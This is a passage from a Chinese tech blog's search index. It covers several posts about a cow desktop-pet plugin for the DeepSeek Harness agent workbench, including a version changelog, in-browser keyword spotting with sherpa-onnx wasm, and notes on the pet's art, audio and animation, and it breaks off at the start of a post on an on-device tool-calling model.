","date":"2026-08-23","objectID":"/posts/2026/08/23/dsh-niulai-pet-v04/:6:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"史诗级更新：自定义角色和桌宠乐园——DeepSeek Harness 桌宠插件 v0.4 全记录","uri":"/posts/2026/08/23/dsh-niulai-pet-v04/"},{"categories":["Tech"],"content":"七、其它功能细节 默认不打盹了。闲置打盹改开关制、默认关——太多人不知道它会趴下，以为它死了。 气泡开关语义修正。之前关了气泡，连任务完成的通知气泡也没了。现在装饰性唠叨全收进开关，反馈性气泡（任务完成、操作提示）保留。 隐藏全部开关。一键全收，菜单和设置卡片都有；试玩页右上角有 👁 能把它们喊回来。 「喊一声」改名「表演一下」。语音停喊上线后，菜单里两个「喊」歧义了。 试玩页埋了个 hits.sh 隐身统计，看看有多少人真来玩。 ","date":"2026-08-23","objectID":"/posts/2026/08/23/dsh-niulai-pet-v04/:7:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"史诗级更新：自定义角色和桌宠乐园——DeepSeek Harness 桌宠插件 v0.4 全记录","uri":"/posts/2026/08/23/dsh-niulai-pet-v04/"},{"categories":["Tech"],"content":"八、现在的样子 在线试玩同一套代码，免安装：点「跑一个任务」听它喊妈，右上角一起飞、全家福列队、拖入角色包都能玩。装到 dsh 里： dsh plugin --profile web add dsh-niulai-pet 项目开源，插件市场搜 dsh-niulai-pet 即是。想看实际效果的，B 站有这期的视频：史诗级更新：自定义角色和桌宠乐园——牛来桌宠 v0.4，整个系列的视频合集也在连载，播放量和转发量尚可。 ","date":"2026-08-23","objectID":"/posts/2026/08/23/dsh-niulai-pet-v04/:8:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"史诗级更新：自定义角色和桌宠乐园——DeepSeek Harness 桌宠插件 v0.4 全记录","uri":"/posts/2026/08/23/dsh-niulai-pet-v04/"},{"categories":["Tech"],"content":"附：已知限制清单 只做了地面排挤，没有做 y 轴堆叠效果。 奶龙大笑 15.7 秒是原片大笑段的完整长度，再长只能循环帧，暂时不续。 自定义包可选通道缺了可兜底，但有代价：没有 images.shout 的角色，喊叫时只会有物理变形没有嘴型（导入时会有提示）。 位置记忆按设备存 localStorage，如果换浏览器，桌宠会重置归位。 ","date":"2026-08-23","objectID":"/posts/2026/08/23/dsh-niulai-pet-v04/:9:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"史诗级更新：自定义角色和桌宠乐园——DeepSeek Harness 桌宠插件 v0.4 全记录","uri":"/posts/2026/08/23/dsh-niulai-pet-v04/"},{"categories":["Tech"],"content":"dsh 桌宠牛来的「循环喊到互动停止」需要一双耳朵：喊一声「牛来」它就停。记录这双耳朵的四代演进——零模型 MFCC+DTW 模板匹配的判别力天花板、sherpa-onnx KWS wasm 自编译、插件 host 半开路由同源分发 17MB、INITIAL_MEMORY 从 512MB 实测定稿 32MB、Web Worker 空闲 10s terminate 真释放、四指令词交叉验证零串词零误报，以及真机「音量小识别不到」的最后一坑。","date":"2026-08-22","objectID":"/posts/2026/08/22/dsh-niulai-pet-kws/","tags":["tech","ai","deepseek","harness","plugin","kws","wasm","webworker","牛来"],"title":"给 DeepSeek Harness 桌宠装耳朵：浏览器里跑中文 KWS 的全记录","uri":"/posts/2026/08/22/dsh-niulai-pet-kws/"},{"categories":["Tech"],"content":"一、需求 牛来桌宠（dsh 的桌宠插件，它的诞生记见本系列上一篇）有个「循环喊到互动停止」模式：任务一完成，它就喊妈，一直喊，喊到你理它为止。戳一下能停，打字也能停，这次应 B 站评论区 的要求加了玩法：喊一声「牛来」就停。电影《牛来》里妈妈就是这么喊它的，台词闭环。 要实现这个，桌宠得有耳朵：浏览器里、本地跑、中文、只认一两个指令词、不能把它自己喊的「妈妈」当成指令。这是典型的 KWS（关键词识别）场景——Amazon 管这个叫唤醒词（wake word），就是「Hey Siri」要先过的那一环。 有人问为什么不直接调云上的语音识别 API。隐私上，麦克风音频不该出浏览器；成本上，循环喊期间要一直开听，按分钟计费肉疼；延迟上，本地推理 0.9 秒音频只要 25 到 40 毫秒，云上走一圈够它喊三声妈了。整句 ASR 也不合适，模型几百 MB 起步，一个桌宠背不动。 这双耳朵的四代演进，全部在一天内完成，数据都实测过。 ","date":"2026-08-22","objectID":"/posts/2026/08/22/dsh-niulai-pet-kws/:1:0","tags":["tech","ai","deepseek","harness","plugin","kws","wasm","webworker","牛来"],"title":"给 DeepSeek Harness 桌宠装耳朵：浏览器里跑中文 KWS 的全记录","uri":"/posts/2026/08/22/dsh-niulai-pet-kws/"},{"categories":["Tech"],"content":"二、v1：零模型模板匹配，能用，但有天花板 第一版不依赖任何模型：MFCC 39 维特征 + 子序列 DTW 匹配。思路是把电影里妈妈喊「牛来」的原声当模板，麦克风输入实时算特征，滑窗对齐，距离小于阈值就命中。 为了让它在真实麦克风环境能用，还加了两样：谱减降噪（逐 mel bin 跟踪底噪 EMA）、双端 CMN（倒谱均值归一）。判定做了防抖，连续 3 帧过阈才算命中，阈值可在设置里调。 判别力：正样本最高 0.43，负样本最低 0.66，阈值 0.54 夹在中间，正负样本完全分开。自己喊「牛来」很灵。 天花板也明显：模板是电影配音演员的嗓音，你的嗓音对不上就是对不上。这个缺陷没有工程解，只能靠自录模板兜底（设置里可以录 1.9 秒你自己的「牛来」，本人嗓音几乎必中）。另外零模型方案分不清近音词，「你又来」和「牛来」在它眼里差不多。 它现在还在代码里，当轻量路径和降级方案：KWS 装载失败就自动回落到它。 ","date":"2026-08-22","objectID":"/posts/2026/08/22/dsh-niulai-pet-kws/:2:0","tags":["tech","ai","deepseek","harness","plugin","kws","wasm","webworker","牛来"],"title":"给 DeepSeek Harness 桌宠装耳朵：浏览器里跑中文 KWS 的全记录","uri":"/posts/2026/08/22/dsh-niulai-pet-kws/"},{"categories":["Tech"],"content":"三、v2：sherpa-onnx KWS，wasm 得自己编 这次用上了语音识别模型。选型 sherpa-onnx 的 KWS 流式识别，模型是 zipformer wenetspeech 3.3M 参数的 int8 版，中文，专为关键词场景训练，社区验证充分。 官方没有发布开箱即用的 KWS wasm 产物，得自己编。源码走 codeload tarball（本机 git clone GitHub 间歇被重置，tarball 直连稳定），emsdk 4.0.23 装上，模型三件套（encoder/decoder/joiner int8 + tokens.txt）塞进 assets，再做三处源码小改，emscripten –preload-file 一把出。产物四个文件：12MB wasm 运行时（gzip 后 3.4MB）、4.8MB 模型数据、loader 和 JS glue。构建纪要留在仓库文档里，可复现。 另一个麻烦是这 17MB 从哪加载。走 CDN 最省事，但插件给别人用，哪天 CDN 挂了或者用户内网隔离，耳朵就聋了。dsh 插件架构里，客户端半（浏览器里那个 bundle）没有静态资源路径，所以让插件的 host 半（跑在 dsh 服务端那部分）开了一条 /niulai-kws 路由，把四个文件同源分发出去。同源还顺手解决了 wasm 编译缓存和 HTTP 缓存。 关键词配置也直接内联进字符串，不依赖额外文件： n iú l ái @牛来 n ǐ y òu l ái @牛来A n ǐ y ǒu l ái @牛来B n iú y òu l ái @牛来C 主词一行，实际发音变体三行（真的会有人喊成「你又来」「你过来」）。threshold 0.1、score 1.5，node 侧语料标定出来的。 ","date":"2026-08-22","objectID":"/posts/2026/08/22/dsh-niulai-pet-kws/:3:0","tags":["tech","ai","deepseek","harness","plugin","kws","wasm","webworker","牛来"],"title":"给 DeepSeek Harness 桌宠装耳朵：浏览器里跑中文 KWS 的全记录","uri":"/posts/2026/08/22/dsh-niulai-pet-kws/"},{"categories":["Tech"],"content":"四、v3：内存，从 512MB 砍到 32MB 官方 demo 的 emscripten 默认 INITIAL_MEMORY=512MB。一个桌宠，平时在角落呼吸打盹，一开听就先圈 512MB 线性内存，说不过去。 wasm 线性内存有个特性：只涨不缩。kws.free() 只是把 C++ 对象还给 wasm 堆，物理内存不会还给浏览器。所以 512MB 一旦圈了就是永远。 定稿方法很直接：把 INITIAL_MEMORY 压小，开 ALLOW_MEMORY_GROWTH，让真实需求自己涨出来，逐阶段读堆大小： 初始内存 运行时初始化 createKws（4 词 10 变体） 连续推理 结论 512MB（官方默认） 512 512 512 圈地闲置约 16 倍 16MB 16.0 涨到 33.3 33.3 不够 32MB（定稿） 32.0 32.0（不涨） 32.0（不涨） 真实工作集 \u003c32MB 真实工作集在 16 到 32MB 之间，32MB 全程零增长（16MB 档那个 33.3 是增长步进的超调，不是真实需求超了 32MB）。初始即高水位最稳，增长有拷贝停顿，ALLOW_MEMORY_GROWTH 留作安全网。内存参数只影响装不装得下，不影响模型数学，27 条语料在 512MB 版和 32MB 版上逐样本结果一致。 ","date":"2026-08-22","objectID":"/posts/2026/08/22/dsh-niulai-pet-kws/:4:0","tags":["tech","ai","deepseek","harness","plugin","kws","wasm","webworker","牛来"],"title":"给 DeepSeek Harness 桌宠装耳朵：浏览器里跑中文 KWS 的全记录","uri":"/posts/2026/08/22/dsh-niulai-pet-kws/"},{"categories":["Tech"],"content":"五、v4：Web Worker 化，空闲 10 秒真释放 内存压到 32MB 还是常驻。桌宠 99% 的时间不需要耳朵，只在「循环喊」布防期间才听。 解法是把 KWS 整个塞进 Web Worker：模型驻留在 worker 堆里，主线程 postMessage 喂音频流（buffer transfer 零拷贝），命中回调。引用计数归零后再空闲 10 秒，直接 worker.terminate()。 为什么要 terminate 这么粗暴：上一节说了，wasm 内存只涨不缩，free() 不还真，terminate 是唯一可证明的释放路径，整个 wasm 实例被 GC，内存真归还。 重建成本实测 1.4 到 1.9 秒（wasm 编译缓存 + HTTP 缓存命中，含 4.8MB 模型装载和建实例），下次开听无感。加载时机也卡死了：插件运行不加载、开开关不加载，真正开听才加载。不听的时候，零 wasm 开销。 stream id 多路复用，设置卡片里的「测一测」和正式监听可以共存于同一个 worker。 ","date":"2026-08-22","objectID":"/posts/2026/08/22/dsh-niulai-pet-kws/:5:0","tags":["tech","ai","deepseek","harness","plugin","kws","wasm","webworker","牛来"],"title":"给 DeepSeek Harness 桌宠装耳朵：浏览器里跑中文 KWS 的全记录","uri":"/posts/2026/08/22/dsh-niulai-pet-kws/"},{"categories":["Tech"],"content":"六、判别力 全量 27 条 16kHz 语料：20 通过，失败的 7 条全部是极端对抗样本（升调、加速加噪、-25dB 白噪、远场录音），失败集和 node 原生 int8 完全一致，也就是说 wasm 版和原生版数学上没差别，该认错的都是模型固有边界。 负样本这一行：妈妈喊声×4、静音、白噪、他人语音×2、歌声，9 条，零误报。宠物自己正在那喊「妈～～妈～～」，绝不能喊着自己把自己停了，这是功能杀手，过了这条线别的都好说。 指令词也从 1 个扩到 4 个可配：牛来（默认）、别喊了、安静、停下，每个带音素变体。四词交叉验证（59 条 TTS 语料 + 9 条负样本）：串词为零（喊 A 词命中 B 词的次数），负样本零误报。漏检集中在陕西口音级重口音和 +20% 超速语音，试过加变体硬修，无效还涨误报风险，不堆变体，用户换个自己喊着顺的词就行。 已知近音代价：「你又来」会命中牛来变体。音素变体的固有代价，记在这。 ","date":"2026-08-22","objectID":"/posts/2026/08/22/dsh-niulai-pet-kws/:6:0","tags":["tech","ai","deepseek","harness","plugin","kws","wasm","webworker","牛来"],"title":"给 DeepSeek Harness 桌宠装耳朵：浏览器里跑中文 KWS 的全记录","uri":"/posts/2026/08/22/dsh-niulai-pet-kws/"},{"categories":["Tech"],"content":"七、真机最后一坑：音量小识别不到 实测后发现，安静环境小声喊，识别不到。排查下来，干净语音压到 -24dB 模型不要增益也照中，问题出在别处：低电平 + 浏览器噪声抑制把弱语音当噪音吞了。 对策两层：getUserMedia 开 autoGainControl，从源头放大（先于噪声抑制管线）；再加一个软件增益滑杆（1.0 到 4.0 倍，tanh 软削波防爆音），正式监听热生效，测试界面和录音同一条管线。 增益安全性：负样本开 4 倍零误报，正常音量开 3 倍仍命中。增益救不了频谱退化型对抗样本，那是音量无关的已知限制，不挣扎。 ","date":"2026-08-22","objectID":"/posts/2026/08/22/dsh-niulai-pet-kws/:7:0","tags":["tech","ai","deepseek","harness","plugin","kws","wasm","webworker","牛来"],"title":"给 DeepSeek Harness 桌宠装耳朵：浏览器里跑中文 KWS 的全记录","uri":"/posts/2026/08/22/dsh-niulai-pet-kws/"},{"categories":["Tech"],"content":"八、现在的样子 设置卡片里可以选引擎（模板/KWS）、勾指令词（四词多选）、调增益、开「测一测」界面实时看命中。循环喊布防时麦克风自动开听，喊一声「牛来」，它闭嘴，妈妈录音回一句「牛来！」收尾，台词闭环达成。想听实际效果的，B 站有这期的实测视频：喊一声「牛来」它就闭嘴——牛来桌宠能听懂人话了。 整个链路零云端：模型本地跑，音频不出浏览器。 项目开源，已被 awesome-dsh-plugin 收录，插件市场搜 dsh-niulai-pet 就能装。wasm 构建纪要、内存实测脚本、27 条语料复跑清单都在仓库文档里。 ","date":"2026-08-22","objectID":"/posts/2026/08/22/dsh-niulai-pet-kws/:8:0","tags":["tech","ai","deepseek","harness","plugin","kws","wasm","webworker","牛来"],"title":"给 DeepSeek Harness 桌宠装耳朵：浏览器里跑中文 KWS 的全记录","uri":"/posts/2026/08/22/dsh-niulai-pet-kws/"},{"categories":["Tech"],"content":"附：已知限制清单 重口音（陕西话级）和 +20% 超速语音会漏检，四词同患。 「你又来」近音会触发牛来，变体代价。 极端对抗扰动（升调/加速加噪/白噪糊脸）漏检，与 node 一致，模型固有。 真机麦克风召回受设备和距离影响，模板引擎另有自录模板兜底。 老 dsh 无 webServer、worker 被拦等场景，自动回落模板引擎。 ","date":"2026-08-22","objectID":"/posts/2026/08/22/dsh-niulai-pet-kws/:9:0","tags":["tech","ai","deepseek","harness","plugin","kws","wasm","webworker","牛来"],"title":"给 DeepSeek Harness 桌宠装耳朵：浏览器里跑中文 KWS 的全记录","uri":"/posts/2026/08/22/dsh-niulai-pet-kws/"},{"categories":["Tech"],"content":"给 dsh web 的角落养了一头《牛来》桌宠：平时呼吸眨眼打盹吐槽，agent 任务一完成就蹦出来喊「妈～～妈～～」。全程记录：6 个皮肤（含 DeepSeek 蓝虎鲸）、签名动作系统、WebAudio 合成叫声、ffmpeg 七档降噪，以及动画/素材/录屏路上踩的所有坑。","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"一、先上成品 agent 干完活的那一刻，屏幕角落的小牛会蹦起来，字正腔圆地喊一嗓子「妈～～妈～～」——尾音拖足，嘴型跟上，中气十足： PC 端：菜单、换皮肤、唠叨气泡、连喊三声的残影。手机端一样欢实——深色那条录到了蓝鲸喷水飞圈，浅色那条录到了奶牛和熊猫开嗓，两条的结尾都是「发消息 → agent 回完 → 蹦出来喊妈」的完整闭环： 不装 dsh 也能玩到它：这插件是纯客户端的，同一套代码原样跑在裸页面上就是个小游戏——戳下面的试玩窗（或打开全屏版），戳牛、跑个模拟任务，等它喊妈（公众号读者点「阅读原文」直达）： 不认识这头牛的同学补一下背景：《牛来》是最近的一个现象级奇观——一部画风粗糙的 3D 动画片，上映前十天全国票房不到一万块，被短视频带火后一周直冲千万。全网看完都在骂，骂完接着看，号称\"看了后悔 86 分钟，不看后悔一辈子\"，李永乐老师还专门讲过它爆火背后的禁果效应。主角那头丑得很有特色的黄牛，喊\"妈\"是名场面，二创鬼畜剪辑满天飞。我把它养进了 DeepSeek Harness（dsh）的 web 界面里——就是我最近连着折腾了好几篇的那个 agent 工作台。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:1:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"二、为什么不是通知，是桌宠 dsh 跑任务时我经常切到别的桌面干活，完成通知这事我做过两轮：cenacle 通知中心、飞书卡片推送。都好使，但都太……正经了。 桌宠才是 AI 工作台缺的最后一块。它不提供信息，它提供情绪价值：平时在角落呼吸、眨眼、踱步、趴下打盹，偶尔冒个气泡吐槽一句「我在吃草，你在吃苦」；你跑 AI 久了它会报时「AI 已经跑了 2分13秒…」；任务完成的那一刻，它用最炸裂的方式替你庆祝。 选牛来当主角不需要理由，看到这头牛的人自然会懂。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:2:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"三、它现在长什么样 全家福：牛来、牛来原皮、小黄、奶牛、熊猫、蓝鲸 五个皮肤：牛来、小黄（幼年版，无角更黄亮）、奶牛、熊猫、蓝鲸——后三只没有现成素材，是我用 SVG 一只一只手绘的，蓝鲸特意调了 DeepSeek 蓝、加了虎鲸的白眼斑。（成文后又添了第六个「牛来原皮」：拿豆包生成的三视图抠的。牛来小时候没角——这是设定，不是抠图事故。） 签名动作：牛来连跳、小黄和熊猫翻滚、奶牛摇摆、蓝鲸弧线跃出水面（到弧顶还会喷水）。动作可以绑到事件上，也能设成随机。 叫声：牛来和小黄用原声（精修降噪过），奶牛/熊猫/蓝鲸的叫声是 WebAudio 现场合成的——哞、吱、鲸鸣，零素材零依赖。 唠叨气泡：AI 在跑就报耗时，闲下来就随机吐槽，嫌烦可以在菜单里关掉。 右键菜单：声音/完成时喊/气泡唠叨三个开关、连喊几声、动作绑定、换皮肤，还有个「关于」页，里面写着我的一句心里话：「我尽力了，只能做成这样了😂」。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:3:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"四、纯客户端插件：dsh 插件的第三种形态 技术选型上一句话就够：这个插件只有客户端（dsh.client），没有任何 host 侧代码。 放到系列前两篇的坐标系里看，dsh 插件的三种形态就算凑齐了： 插件 形态 干什么 dsh-browser-fs 双面（host + client） 注册模型工具，读写浏览器端文件 dsh-cenacle-bridge 纯 bundle（host） 让既有开发系统与 dsh 桥接协作 dsh-niulai-pet 纯 client 界面层行为，订阅只读服务 桌宠唯一需要的外部信号是\"哪个会话在跑/跑完了\"，dsh client runtime 本来就向插件发布 sessions.list 快照——订阅它即可，一行 host 代码都不用写。纯客户端的好处极其实在：改完代码 npm run build 完刷新页面就生效，永远不用重启宿主。 另一个红利开头已经看到了：把 sessions 订阅换成一个模拟任务驱动，pet.ts 一行没改就跑在裸页面上——本文的在线试玩页就是这么来的，不是什么另写的复刻版。 任务完成的判定就两条：running 从 true 翻成 false（当前会话跑完），或 completed 新置位（后台会话完成，即侧边栏绿点的同一信号）。宿主太旧没有 sessions 服务时降级成纯手动戳。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:4:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"五、制作过程：每一环都在打仗 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:5:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"形象：抠图只是开始，修图才是战役 别问我为什么还有这步骤，问就是全自动的。 犄角没了：牛角是深炭色，颜色阈值抠图直接把它当背景丢了——一只全没，一只只剩半截。放宽暗色区间重抠才找回来。 蹄子被草吃了：原帧里牛蹄埋在草里，抠出来就是两条断腿。抠图解决不了，只能造：按腿的宽度重建小腿、补上深色蹄冠。第一版是两块矩形，丑得像贴的砖；返工版改成了微梯形 + 正中分趾缝（偶蹄目的灵魂）+ 纵向渐变 + 微外八站姿。 修好的蹄子：分趾缝是牛蹄的身份证 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:5:1","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"喊声：选段、鉴假、降噪 喊声备了四段候选，其中两段怎么听都不像牛来的声音——不是耳朵好，是我跑了自相关基频分析：正常奶声基频 800-889Hz，那两段只有 516-552Hz。它们是被加速过的变调段，音调跟着速度一起飞了，低近一半的基频就是铁证。 留下来的两段背景音又大（BGM 焊死在音轨里），上 ffmpeg 降噪：highpass 专治轰隆隆的低频（人声基频 800Hz，高通切到 280Hz 都伤不到它）、afftdn FFT 降噪压 BGM。我做了七档对比反复听，选定中强档——再狠人声就出\"水下音\"了。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:5:2","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"嘴型：尾音要一直张着嘴 第一版的嘴是在喊声全程不停开闭的，看着像打机关枪。不对——「妈-妈～～」是两个音节，尾音是开口音：正确的时间线是张嘴 240ms → 闭 120ms（两个音节的分合）→ 重新张开，一直保持到尾音结束才闭上。 时长也不能写死：插件在挂载时预读 mp3 的 metadata 拿真实时长，嘴型、气泡都跟着音频长度走，连喊几声时是串行接龙，每声之间自然闭一下。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:5:3","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"动画：单图变形 + 少量换帧，还有三个坑 桌宠没有序列帧素材，90% 的动作是单张 PNG 的 WAAPI 变换：呼吸是 scaleY 正弦，蹦跳带 squash\u0026stretch，飞行是根元素走抛物线 + 机身沿切线俯仰。只有嘴型、眨眼、飞行姿态、鲸鱼喷水这几处用双帧切换。 踩了三个值得写下来的坑： pause 的动画不是透明的。呼吸动画 pause 后仍压在 img 的 transform 上（WAAPI 在级联里压内联样式），飞行时机身旋转死活不生效——改 cancel() 才行。 镜像父级里的 rotate 不能乘方向。朝向翻转用根节点 scaleX(-1)，镜像会把精灵图和旋转一起翻，两个方向自洽；我多乘了一个方向系数，牛直接底朝天飞。 协程收尾别抢状态。踱步协程结束时无条件 mood = 'idle'，把刚起飞的飞行状态绞杀在半空——所有收尾都加了身份检查。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:5:4","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"叫声：零素材方案 三只手绘动物没有真声可截，干脆全部 WebAudio 合成：哞 = 锯齿波下滑 + 低频震颤 + 低通；鲸鸣 = 正弦长音先扬后抑 + 慢颤音；吱声 = 两声三角波短促上挑。总共不到 60 行代码，一个音频文件都不用下载。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:5:5","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"手绘三小只 鲸鱼返工：从修长到胖圆 + 虎鲸眼斑 奶牛、熊猫、鲸鱼都是手写 SVG 渲染成 PNG，迭代了好几轮：鲸鱼的尾鳍一度像兔子耳朵，熊猫的竹子一度像拿着话筒。家族一致性靠三件套：同款描边色、大眼双高光、粉腮红。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:5:6","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"录视频：手机录屏它不出声 开头三条视频的录制本身也是一场仗。PC 版一次成型（宿主机录屏能带上系统声音），但两条手机版遇到了新问题：手机录屏录不到系统内放——屏幕录像走的是麦克风，桌宠喊得再字正腔圆，录出来也只剩 -46dB 的环境底噪。 解法是时间戳配音法的升级版：先按 0.25 秒一帧抽接触表，把每个气泡（「妈～～妈～～」「哞——！」「嗯嗯！」「噗——！」）出现的精确时刻抠出来；声源不走录音——「妈～～妈～～」直接用仓库里的无损 mp3，奶牛/熊猫/蓝鲸的叫声则把插件里的 WebAudio 合成代码原样搬进 OfflineAudioContext 离线渲染成 WAV（和运行时发出的声音逐字节一致、零底噪）；最后按时间戳 adelay 混回去，顺手把 HEVC 转成全浏览器通吃的 h264。音画对齐误差百毫秒级，音质比现场采的干净一个数量级。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:5:7","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"六、一些小但重要的设计 「喊一声」只喊不跳，「戳一下」又喊又跳——一个是嘴上功夫，一个是全身反应。 静音是真静音：没有声音也没有「妈～～妈～～」气泡，庆祝退化成纯动作。 完成时喊妈可以关，连喊几声可以设（1-3 声），动作可以绑成固定或随机。 位置、皮肤、所有开关都记忆在 localStorage。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:6:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"七、安装与素材 一行装上： dsh plugin --profile web add dsh-niulai-pet # npm（推荐，国内网络更稳） dsh plugin --profile web add github:whitefirer/dsh-niulai-pet # 或从 GitHub 构建产物已入库，安装零脚本；首次安装重启一次 dsh web，之后升级刷新页面即生效。奶牛/熊猫/蓝鲸三只手绘的 SVG 源文件在仓库 tools/drawn/ 里，随便拿去用。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:7:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"八、收尾 至此我的 dsh 插件小系列凑齐了三种定位：通用能力、开发能力、娱乐休闲。说实话，最后一个是我打开 dsh 时嘴角上扬幅度最大的一个。 下一步：自定义皮肤（导入自己的图和声音）、按住它说话的语音控制（识别完直接发给当前会话，STT 选型调研已经躺在仓库 docs/roadmap.md 里）、插件市场收录（awesome 门槛是仓库满一天 + 提交数 ≥10，CI 自动校验，PR 已在路上）。仓库在 github.com/whitefirer/dsh-niulai-pet，素材全入库，装上即玩。 想看带配音的剪辑完整版，B 站在这：任务一完成它就蹦出来喊「妈」——我给 DeepSeek Harness 养了头牛来。 ","date":"2026-08-19","objectID":"/posts/2026/08/19/dsh-niulai-pet/:8:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来","uri":"/posts/2026/08/19/dsh-niulai-pet/"},{"categories":["Tech"],"content":"记录把 needle（cactus-compute 的 45M 工具调用模型）接进 Hugo 博客终端的全过程：worker 架构、tools JSON 设计、needle1 的中文乱码考古、locale 救回 needle2 的 decode 失控、拒答改写与指代消解这些规则补丁，以及端侧语义搜索兜底。最后聊聊这颗模型能跑在什么硬件上，以及跑不动的设备该怎么办。","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"一、动机：想要 AI，但不想烧 token 这个博客的首页有个终端，本来就是放着玩的。后来想给它加点\"AI 助手\"的味道——访客输入「找一下 deepseek 的文章」，终端自己检索、列出结果、附上链接。 首页就有的终端，AI 能力藏在自然语言输入里 最省事的接法是调云端 LLM API 做意图识别，但两个理由把我劝退了：一是每个访客每次提问都在烧我的额度，二是请求要出网，跟\"纯静态博客\"的气质不符。我想要的是推理发生在访客自己的浏览器里。 找到的答案就是 needle——GitHub 上的 cactus-compute/needle。 ","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/:1:0","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"二、needle 是什么 needle 是 Cactus Compute 出的工具调用（tool-calling）专用小模型，现在的 needle2 有几个很硬的数字： 45M 参数，量化后整个模型是一个 14MB 的 .cact 文件； 一个推理 session 约 28MB RAM； 输出被\"字节级语法\"约束：根据你声明的 tools JSON 编译出解码文法，模型只能吐出合法的 JSON 调用，结构上不可能写坏； 自带 confidence 